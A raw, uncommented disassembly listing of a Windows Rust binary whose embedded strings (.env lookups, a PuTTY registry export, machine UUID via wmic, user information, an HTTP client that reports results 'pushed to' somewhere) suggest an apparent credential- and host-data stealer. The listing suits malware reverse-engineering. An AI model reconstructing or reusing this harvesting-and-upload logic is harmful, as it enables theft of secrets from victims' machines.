mov edx, 5
mov rcx, r14
lea r8, str.reqwest::async_impl::client
mov r9d, 0x873
call fcn.14008c68e
mov rcx, rsi
call fcn.140108791
jmp 0x140028dd5
mov rbx, qword [rsp + 0x80]
jmp 0x140028ef3
mov rax, qword [0x14038d2f0]
cmp rax, 4
jb 0x140028dd5
lea rax, str._.1_
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rsp + 0x9a0], rax
movdqu xmmword [rsp + 0x9a8], xmm6
mov edx, 4
mov rcx, r14
lea r8, str.reqwest::async_impl::client
mov r9d, 0x86c
call fcn.14008c68e
mov rcx, qword [rsp + 0xf0]
call fcn.14010972c
mov rsi, rax
mov ecx, 0x70
mov edx, 8
call fcn.14009ec09
mov rdi, rax
mov dword [rax], 2
mov qword [rax + 0x58], rsi
lea rax, fcn.140108a48
mov qword [rdi + 0x60], rax
mov word [rdi + 0x68], 1
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.140146035
mov rcx, rdi
call fcn.140109f81
mov ecx, 0xb
mov qword [rsp + 0xc0], rdi
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rbx, qword [rsp + 0x80]
jmp 0x140028fe4
mov qword [rsp + 0xf0], 1
mov rbx, qword [rsp + 0x80]
mov rax, qword [0x14038d2f0]
cmp rax, 3
jbe 0x140028eba
mov qword [rsp + 0x260], rsi
lea rax, [0x140146081]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x20], 1
mov r8d, 2
mov rcx, r14
lea rdx, str._01_
mov r9, r13
call fcn.14000db98
mov edx, 4
mov rcx, r14
lea r8, str.reqwest::async_impl::client
mov r9d, 0x97b
call fcn.14008c68e
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.1401371c1
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov r9, qword [rsp + 0x90]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x98], r9
mov rbp, qword [rsp + 0xe20]
mov rax, qword [rsp + 0xe28]
mov qword [rsp + 0xc0], rax
mov ecx, 0xc
mov rdi, r14
lea rax, [rsp + 0xe30]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rax + 0x60]
movups xmm1, xmmword [rax + 0x70]
movups xmm2, xmmword [rax + 0x80]
movaps xmmword [rsp + 0x4f0], xmm2
movaps xmmword [rsp + 0x4e0], xmm1
movaps xmmword [rsp + 0x4d0], xmm0
mov rcx, r13
mov rdx, qword [rsp + 0x50]
call fcn.140146035
mov rax, qword [r15 + 0x130]
mov qword [rsp + 0xe8], rax
and qword [r15 + 0x130], 0
mov ecx, 0xc
lea rdi, [rsp + 0x810]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x30
mov edx, 8
call fcn.14009ec09
movdqa xmm0, xmmword [rsp + 0x4d0]
movdqa xmm1, xmmword [rsp + 0x4e0]
movdqa xmm2, xmmword [rsp + 0x4f0]
movdqu xmmword [rax], xmm0
movdqu xmmword [rax + 0x10], xmm1
mov qword [rsp + 0xd8], rax
movdqu xmmword [rax + 0x20], xmm2
mov ecx, 0x58
mov edx, 8
call fcn.14009ec09
mov ecx, 0xb
mov qword [rsp + 0xd0], rax
mov rdi, rax
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
cmp rbp, 4
mov rcx, qword [rsp + 0xa0]
jne 0x14002913a
add r15, 0x138
inc rbx
lea rbp, [rsp + 0xf40]
jmp 0x140027e3d
mov rcx, r14
mov rdx, rsi
call fcn.140146035
mov rcx, r14
call fcn.140143812
mov ecx, 0xb
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov cx, 2
mov rdx, rax
call fcn.14014378a
mov r15, rax
mov rcx, rax
call fcn.140109f81
mov ecx, 0xb
mov rdi, r15
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rbx, qword [rsp + 0x80]
jmp 0x1400290f3
mov edx, 1
xor ecx, ecx
call fcn.14009ec09
mov rsi, rax
mov qword [rsp + 0xf0], 2
mov qword [rsp + 0xf8], rax
lea rdi, [0x14030d988]
mov qword [rsp + 0x100], rdi
mov rbx, qword [rsp + 0x80]
jmp 0x1400290a9
mov rsi, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x100]
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.140146035
mov cx, 2
mov rdx, rsi
mov r8, rdi
call fcn.14010a0e1
mov r15, rax
mov rcx, rax
call fcn.140109f81
mov ecx, 0xb
mov rdi, r15
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.1401371c1
mov rcx, r12
call fcn.140108a2a
mov ebp, 3
jmp 0x1400291b1
mov rax, qword [r15 + 8]
and qword [r15 + 8], 0
mov r15, rax
mov ebp, 3
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x90], rax
test r15, r15
jne 0x1400291b1
jmp 0x140029e09
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x90], rax
mov r15, qword [rsp + 0xc0]
jmp 0x1400291b1
mov cx, 1
call fcn.14010a09b
add r15, 0x88
mov rcx, r14
mov rdx, r15
mov r15, rax
call fcn.140146035
mov rcx, r15
call fcn.140109f81
mov ecx, 0xb
mov rdi, r15
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov ebp, 3
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x90], rax
mov ecx, 0xc
mov rdi, r13
lea rsi, [rsp + 0x810]
rep movsq qword [rdi], qword [rsi]
mov rdi, qword [rsp + 0xb0]
cmp rdi, rbx
jbe 0x140029bdc
imul rsi, rbx, 0x138
add rsi, qword [rsp + 0xa8]
mov r8d, 0x138
mov rcx, r14
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov eax, 0x138
lea rdx, [rsi + rax]
not rbx
add rbx, rdi
imul r8, rbx, 0x138
mov rcx, rsi
call sub.msvcrt.dll_memmove
dec rdi
mov rax, qword [rsp + 0xa0]
mov qword [rax + 0x258], rdi
mov rcx, r14
call fcn.14000e9d6
cmp rbp, 3
jne 0x1400292b8
mov qword [rsp + 0x990], r15
test rdi, rdi
je 0x140029315
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xb0], rdi
mov rcx, r14
call fcn.14000e4c8
mov rcx, qword [rsp + 0xa0]
lea rbp, [rsp + 0xf40]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov r9, qword [rsp + 0x90]
jmp 0x140027e0a
mov al, 3
mov rdx, qword [rsp + 0x250]
mov byte [rdx], al
mov rdx, qword [rsp + 0x808]
mov byte [rdx], al
mov eax, 1
jmp 0x1400295ca
call fcn.14004f400
ud2
lea rdi, [rsp + 0x750]
lea rsi, [rsp + 0x260]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x118]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x130], rax
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rsp + 0x120], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rax + 0x248], 8
pxor xmm0, xmm0
movdqu xmmword [rax + 0x250], xmm0
mov rbx, rbp
jmp 0x140029322
mov ebx, 3
mov rdx, qword [rsp + 0x118]
lea rdi, [rsp + 0x930]
lea rsi, [rsp + 0x750]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x1350], rax
movdqa xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x1340], xmm0
mov rcx, rdx
call fcn.14000f1ba
cmp rbp, 3
mov r14, qword [rsp + 0x248]
jne 0x1400293a7
mov ecx, 8
mov edx, 8
call fcn.140010380
mov rsi, rax
mov qword [rax], r15
mov rax, qword [rsp + 0xa0]
lea rcx, [rax + 0x240]
call fcn.14000f291
lea rdi, fcn.14000e4c8
jmp 0x14002441b
lea rax, [rsp + 0x11b0]
lea rsi, [rsp + 0x930]
mov ecx, 0xc
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
and qword [rax + 0x60], 0
mov rcx, qword [rsp + 0xd8]
mov qword [rax + 0x68], rcx
lea rcx, [0x140312bb8]
mov qword [rax + 0x70], rcx
mov rcx, qword [rsp + 0xe8]
mov qword [rax + 0x78], rcx
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 0x80], rcx
lea rsi, [rsp + 0x1238]
movdqa xmm0, xmmword [rsp + 0x1340]
movdqu xmmword [rsi], xmm0
mov rcx, qword [rsp + 0x1350]
mov qword [rsi + 0x10], rcx
mov qword [rax - 0x10], rbx
mov qword [rax - 8], r15
lea rdi, [rsp + 0x990]
lea rdx, [rsp + 0x11a0]
mov r8d, 0x98
mov rcx, rdi
call sub.msvcrt.dll_memcpy
mov rcx, rsi
call fcn.14000f1ba
mov rsi, qword [rdi + 0x90]
mov qword [rsp + 0xf40], rsi
mov rax, qword [0x14038d2f0]
cmp rax, 2
jbe 0x1400294c2
lea r9, [rsp + 0x4d0]
lea rax, [rsp + 0xf40]
mov qword [r9], rax
lea rax, [0x14000d956]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140272318]
lea rdi, [rsp + 0x260]
mov r8d, 1
mov rcx, rdi
call fcn.14000db98
lea r8, str.hoster::http_clientsrc_http_client.rs
mov edx, 3
mov rcx, rdi
mov r9d, 0x25
call fcn.14008c68e
lea rdi, [rsp + 0x990]
mov rcx, rdi
call fcn.140108896
mov rdi, qword [rdi + 0x60]
test rdi, rdi
je 0x1400294f0
mov rcx, rdi
call fcn.14007b91e
mov edx, 8
mov rcx, rdi
call fcn.14002a3e0
cmp qword [rsp + 0xa00], 0
je 0x140029511
lea rsi, [rsp + 0xa00]
mov rcx, rsi
call fcn.14008042b
mov rsi, qword [rsi + 0x20]
jmp 0x140029548
mov rdi, qword [rsp + 0xa08]
mov rbx, qword [rsp + 0xa10]
mov rcx, rdi
call qword [rbx]
mov r8, qword [rbx + 8]
test r8, r8
je 0x14002953b
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call fcn.1400108ae
mov rcx, qword [rsp + 0xa18]
call fcn.14000dd87
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
call fcn.1401371c1
mov edx, 8
mov rcx, rsi
call fcn.14002a3e0
mov rax, qword [rsp + 0xa0]
lea rcx, [rax + 0x240]
call fcn.14000f291
xor esi, esi
jmp 0x14002441b
mov rax, qword [rsp + 0x50]
mov r14, rax
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
call fcn.1401371c1
mov rcx, r14
call fcn.140010d55
mov qword [rsp + 0xa8], rax
mov rdi, qword [rsp + 0xa0]
lea rcx, [rdi + 0x100]
call fcn.14000dedc
mov byte [rdi + 0x268], 1
xor eax, eax
mov rcx, rdi
test rax, rax
je 0x1400295dd
mov byte [rcx + 0x289], 3
mov eax, 1
jmp 0x140029659
mov rcx, qword [rsp + 0xa0]
call fcn.14000f169
mov rax, qword [rsp + 0xa0]
cmp qword [rsp + 0xa8], 0
je 0x140029697
cmp byte [rax + 0x288], 0
je 0x14002963a
mov rsi, qword [rsp + 0x1a0]
mov rcx, rsi
mov rdx, qword [rsp + 0xe0]
call fcn.14000ee44
mov rcx, rsi
mov rdx, qword [rsp + 0x1a8]
call fcn.14000f155
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x288], 0
mov rsi, rax
lea rcx, [rax + 0x270]
call fcn.14000edaf
mov byte [rsi + 0x289], 1
xor eax, eax
mov rdx, qword [rsp + 0xa8]
movaps xmm6, xmmword [rsp + 0x1460]
movaps xmm7, xmmword [rsp + 0x1470]
movaps xmm8, xmmword [rsp + 0x1480]
movaps xmm9, xmmword [rsp + 0x1490]
add rsp, 0x14a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str..envpath_not_found
mov edx, 4
call fcn.14000b0cc
test al, al
je 0x1400296c5
lea rcx, str..envpath_not_found
mov edx, 4
call fcn.14018baf0
mov rcx, rax
call fcn.14000fa68
lea rcx, str.putty_registry.reg:_
mov edx, 0x12
call fcn.14000b0cc
test al, al
je 0x1400296f3
lea rcx, str.putty_registry.reg:_
mov edx, 0x12
call fcn.14018baf0
mov rcx, rax
call fcn.14000fa68
mov rsi, qword [rsp + 0xa0]
mov byte [rsi + 0x288], 0
lea rcx, [rsi + 0x270]
call fcn.14000edaf
xor eax, eax
mov qword [rsp + 0xa8], rax
jmp 0x140029650
mov r13, rbx
jmp 0x1400228d9
lea rcx, [rsp + 0x4d0]
mov edx, 0x5a
call fcn.14004ea16
xor ecx, ecx
jmp 0x1400211ce
mov rdi, qword [rsp + 0x268]
mov rbx, qword [rsp + 0x270]
mov rcx, rbx
call fcn.1400921ab
mov r15, rax
mov rsi, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x4d0], r15
mov r15, qword [rsp + 0x70]
mov qword [rsp + 0x4d8], rsi
mov qword [rsp + 0x4e0], rbx
mov rsi, qword [rsp + 0x990]
mov rdx, qword [rsp + 0x998]
mov rcx, rsi
call fcn.1401371c1
test r14b, r14b
movzx ebx, word [rsp + 0x60]
je 0x140029814
lea r9, [rsp + 0x810]
lea rax, [rsp + 0x4d0]
mov qword [r9], rax
lea rax, [fcn.14001089c]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x1402ac1d8]
lea rsi, [rsp + 0x990]
mov r8d, 1
mov rcx, rsi
call fcn.14000db98
lea rcx, [rsp + 0x260]
mov rdx, rsi
call fcn.140092761
mov rcx, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x4d8]
call fcn.1401371c1
jmp 0x140029836
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x270], rax
movdqa xmm0, xmmword [rsp + 0x4d0]
movdqa xmmword [rsp + 0x260], xmm0
mov r14b, byte [rsp + 0x50]
mov rcx, r15
mov rdx, qword [rsp + 0x90]
call fcn.14019d415
mov rcx, qword [rsp + 0xf40]
mov rdx, qword [rsp + 0xf48]
call fcn.14019d415
mov rcx, qword [rsp + 0xe20]
mov rdx, qword [rsp + 0xe28]
call fcn.14019d415
mov rdi, qword [rsp + 0x260]
test rdi, rdi
je 0x140020899
mov rbx, qword [rsp + 0x268]
mov rsi, qword [rsp + 0x270]
jmp 0x140020b51
lea r14, [0x1402ac387]
jmp 0x140020a5a
lea rax, str.Index_out_of_bounds
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
call fcn.14004f100
ud2
lea rcx, str.assertion_failed:__ptr.is_null__
lea r8, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_mac_address_1.1.5_src_windows.rs
mov edx, 0x20
call fcn.140050c60
ud2
lea rcx, str.usize_overflow_when_calculating_b64_length
lea r8, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64_0.21.5_src_encode.rs
mov edx, 0x2a
jmp 0x140029939
lea r8, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64_0.21.5_src_encode.rs
mov rcx, rdi
mov rdx, r14
call fcn.14004f390
ud2
lea rcx, [0x1403216a6]
lea r8, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64_0.21.5_src_engine_mod.rsinteger_overflow_when_calculating_buffer_size
mov edx, 0x2d
call fcn.140057650
ud2
lea r8, [rsp + 0x990]
mov qword [r8], rbx
mov qword [r8 + 8], r13
mov qword [r8 + 0x10], r14
mov qword [r8 + 0x18], rax
mov byte [r8 + 0x20], cl
mov eax, dword [rsp + 0x750]
mov ecx, dword [rsp + 0x753]
mov dword [r8 + 0x21], eax
mov dword [r8 + 0x24], ecx
lea rax, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64_0.21.5_src_engine_mod.rsinteger_overflow_when_calculating_buffer_size
mov qword [rsp + 0x20], rax
lea rcx, str.Invalid_UTF8
lea r9, [0x140321550]
mov edx, 0xc
jmp 0x1400299cc
mov rdi, rax
mov rdx, qword [rsp + 0x11a8]
call fcn.1401371c1
lea r8, [rsp + 0x11a0]
mov qword [r8], rdi
lea rax, [0x140272ec8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000e68e
mov edx, 0x2b
call fcn.140056000
ud2
call fcn.14008a735
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.src_system_information_users_users_info.rs
jmp 0x140029bc3
mov rcx, rdi
call fcn.14014f301
test rsi, rsi
je 0x140029a07
mov rcx, qword [rsp + 0xb8]
call fcn.1401b79cc
mov rcx, r14
call fcn.140131652
mov rdi, rax
mov ecx, 0x70
mov edx, 8
call fcn.14009ec09
mov rsi, rax
mov dword [rax], 2
mov qword [rax + 0x58], rdi
lea rax, [0x14030da78]
mov qword [rsi + 0x60], rax
and word [rsi + 0x68], 0
lea rcx, [rsp + 0x750]
call fcn.140084f15
lea rcx, [rsp + 0x1358]
call fcn.14010dfe1
lea rcx, [rsp + 0x260]
call fcn.140143d5c
lea rcx, [rsp + 0x140]
call fcn.14010dfa1
lea rcx, [rsp + 0x120]
call fcn.14010e2dd
lea rcx, [rsp + 0xdc0]
call fcn.14010dfe1
lea rcx, [rsp + 0x990]
call fcn.140108896
cmp qword [rsp + 0x78], 0
jne 0x140029af1
lea rcx, [rsp + 0x9f0]
call fcn.14013d717
cmp qword [rsp + 0xae8], 0
je 0x140029b35
lea rcx, [rsp + 0xae8]
call fcn.14010974c
jmp 0x140029b35
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
mov edx, 0x2c
jmp 0x1400298f6
ud2
mov ecx, 1
mov rdx, rbp
jmp 0x140029bd5
lea rcx, [rsp + 0xa80]
call fcn.14010e027
lea rcx, [rsp + 0x9f0]
call fcn.14013d717
mov rcx, qword [rsp + 0xa98]
mov rdx, qword [rsp + 0xaa8]
call fcn.140142ea9
mov rcx, qword [rsp + 0xa98]
mov rdx, qword [rsp + 0xaa0]
call fcn.140067169
cmp byte [rsp + 0x80], 0
je 0x140029b4c
lea rcx, [rsp + 0xab0]
call fcn.14013d789
cmp qword [rsp + 0xaf0], 0
sete al
mov ecx, dword [rsp + 0x88]
or cl, al
jne 0x140029b70
lea rcx, [rsp + 0xaf0]
call fcn.14010e2dd
lea r8, [rsp + 0x990]
mov qword [r8], rsi
lea rax, [0x1402722a0]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_build_client
lea r9, fcn.14000e4c8
mov edx, 0x16
jmp 0x1400299cc
test rcx, rcx
jne 0x140029bcd
call fcn.14004a2d0
ud2
mov ecx, 8
mov rdx, rsi
jmp 0x140029bd5
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
mov edx, 0x2b
jmp 0x1400298f6
mov rdx, qword [rsp + 0xf50]
call fcn.14004a310
ud2
lea r8, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_select_ok.rs
mov rcx, rbx
mov rdx, rdi
call fcn.14004bc10
ud2
lea rcx, str._async_fn__resumed_after_completionResult_successfully_pushed_to
lea r8, [0x1402738c0]
jmp 0x140029f0a
lea rax, str.attempt_to_re_use_consumed_builder
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_env_logger_0.10.0_src_lib.rs
jmp 0x1400298dc
lea rax, str.attempt_to_re_use_consumed_builder
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_env_logger_0.10.0_src_fmt_writer_mod.rs
jmp 0x1400298dc
lea rax, str.attempt_to_re_use_consumed_builder
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_env_logger_0.10.0_src_filter_mod.rs
jmp 0x1400298dc
lea rax, str.attempt_to_re_use_consumed_builder
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
movdqu xmmword [rcx + 0x18], xmm6
lea rdx, [0x1402820c0]
jmp 0x1400298dc
lea rax, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_env_logger_0.10.0_src_lib.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140282196]
lea r9, [0x140281ae0]
lea r8, [rsp + 0x140]
mov edx, 0x3e
jmp 0x1400299cc
lea rax, str.No_such_local_time
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_chrono_0.4.31_src_datetime_mod.rs_z_
jmp 0x1400298dc
lea rcx, [0x140345427]
lea r8, [0x140271df0]
jmp 0x140029d6b
lea rcx, [0x140345427]
lea r8, [0x140271e08]
mov edx, 0x19
jmp 0x1400298f6
lea rcx, str._async_fn__resumed_after_completionResult_successfully_pushed_to
lea r8, [0x140273640]
jmp 0x140029f0a
mov ecx, 8
mov edx, pe_nt_image_headers64
jmp 0x140029bd5
movups xmm0, xmmword [rsp + 0x991]
movdqu xmm1, xmmword [rsp + 0x9a0]
movdqu xmmword [rsp + 0x26f], xmm1
movaps xmmword [rsp + 0x260], xmm0
lea r8, [rsp + 0x990]
mov byte [r8], al
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [r8 + 1], xmm0
movdqu xmm0, xmmword [rsp + 0x26f]
movdqu xmmword [r8 + 0x10], xmm0
lea rax, str.src_system_information_users_users_info.rs
jmp 0x140029f8c
mov ecx, 8
mov edx, 0x140
jmp 0x140029bd5
lea rcx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
call fcn.14005a520
ud2
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_impl_client.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov edx, 0x23
jmp 0x140029939
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
jmp 0x140029bc3
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
jmp 0x140029bc3
mov eax, dword [rsp + 0x261]
mov ecx, dword [rsp + 0x264]
mov dword [rsp + 0xf43], ecx
mov dword [rsp + 0xf40], eax
mov r14, qword [rsp + 0x268]
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x4d0], xmm0
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x140029f48
mov eax, dword [rsp + 0x261]
mov ecx, dword [rsp + 0x264]
mov dword [rsp + 0xf43], ecx
mov dword [rsp + 0xf40], eax
mov r14, qword [rsp + 0x268]
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x4d0], xmm0
jmp 0x140029f51
mov byte [rsp + 0x80], 1
mov dword [rsp + 0x88], 0
jmp 0x140029a8c
lea rcx, [0x140312cd8]
lea rdx, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_impl_client.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
call fcn.140085893
ud2
call fcn.140090a40
mov r14, rax
jmp 0x1400299f5
lea rcx, str._async_fn__resumed_after_completionResult_successfully_pushed_to
lea r8, str.C__
mov edx, 0x23
jmp 0x1400298f6
mov eax, dword [rsp + 0x261]
mov ecx, dword [rsp + 0x264]
mov dword [rsp + 0xf43], ecx
mov dword [rsp + 0xf40], eax
mov r14, qword [rsp + 0x268]
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x4d0], xmm0
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
lea r8, [rsp + 0x990]
mov byte [r8], bl
mov eax, dword [rsp + 0xf40]
mov ecx, dword [rsp + 0xf43]
mov dword [r8 + 1], eax
mov dword [r8 + 4], ecx
mov qword [r8 + 8], r14
movdqa xmm0, xmmword [rsp + 0x4d0]
movdqu xmmword [r8 + 0x10], xmm0
lea rax, str.src_system_information_users_users_info.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000e46b
jmp 0x1400299c7
xor esi, esi
lea r8, str._usr_local_cargo_git_checkouts_machine_uuid_ccb851e9d2058afd_dd4f325_src_machineid.rswmic_csproduct_get_UUID_Ccmd
mov ecx, 1
mov rdx, rsi
jmp 0x1400292b1
mov ecx, 8
mov edx, 0x40
jmp 0x140029bd5
lea rcx, str.invalid_minimum_TLS_version_for_backendinvalid_maximum_TLS_version_for_backendvalid_request_parts
jmp 0x14002a00f
lea rcx, [0x140312d47]
mov edx, 0x27
call fcn.1401437d6
mov rsi, rax
lea rcx, [rsp + 0x4d0]
call fcn.140143d5c
lea rcx, [rsp + 0x220]
jmp 0x140029a6d
mov ecx, 1
jmp 0x140029bb0
lea rax, [0x140347970]
mov qword [rsp + 0x20], rax
lea rcx, [0x1403478d7]
lea r9, [0x140281840]
lea r8, [rsp + 0x140]
mov edx, 0x46
jmp 0x1400299cc
lea rax, [0x140346360]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
lea r9, [0x140281b00]
lea r8, [rsp + 0x140]
mov edx, 0x37
jmp 0x1400299cc
mov qword [rsp + 0x810], r13
mov qword [rsp + 0x260], rdi
lea rax, [0x1401752c0]
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0xf40]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
lea rax, [rsp + 0x810]
mov qword [rsp + 0x280], rax
lea rax, [0x14031a760]
lea rcx, [rsp + 0x4d0]
mov qword [rcx], rax
mov eax, 3
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [fcn.1401743a0]
mov qword [rsp + 0x288], rdx
lea rdx, [rsp + 0x260]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x14031a790]
call fcn.14004f100
ud2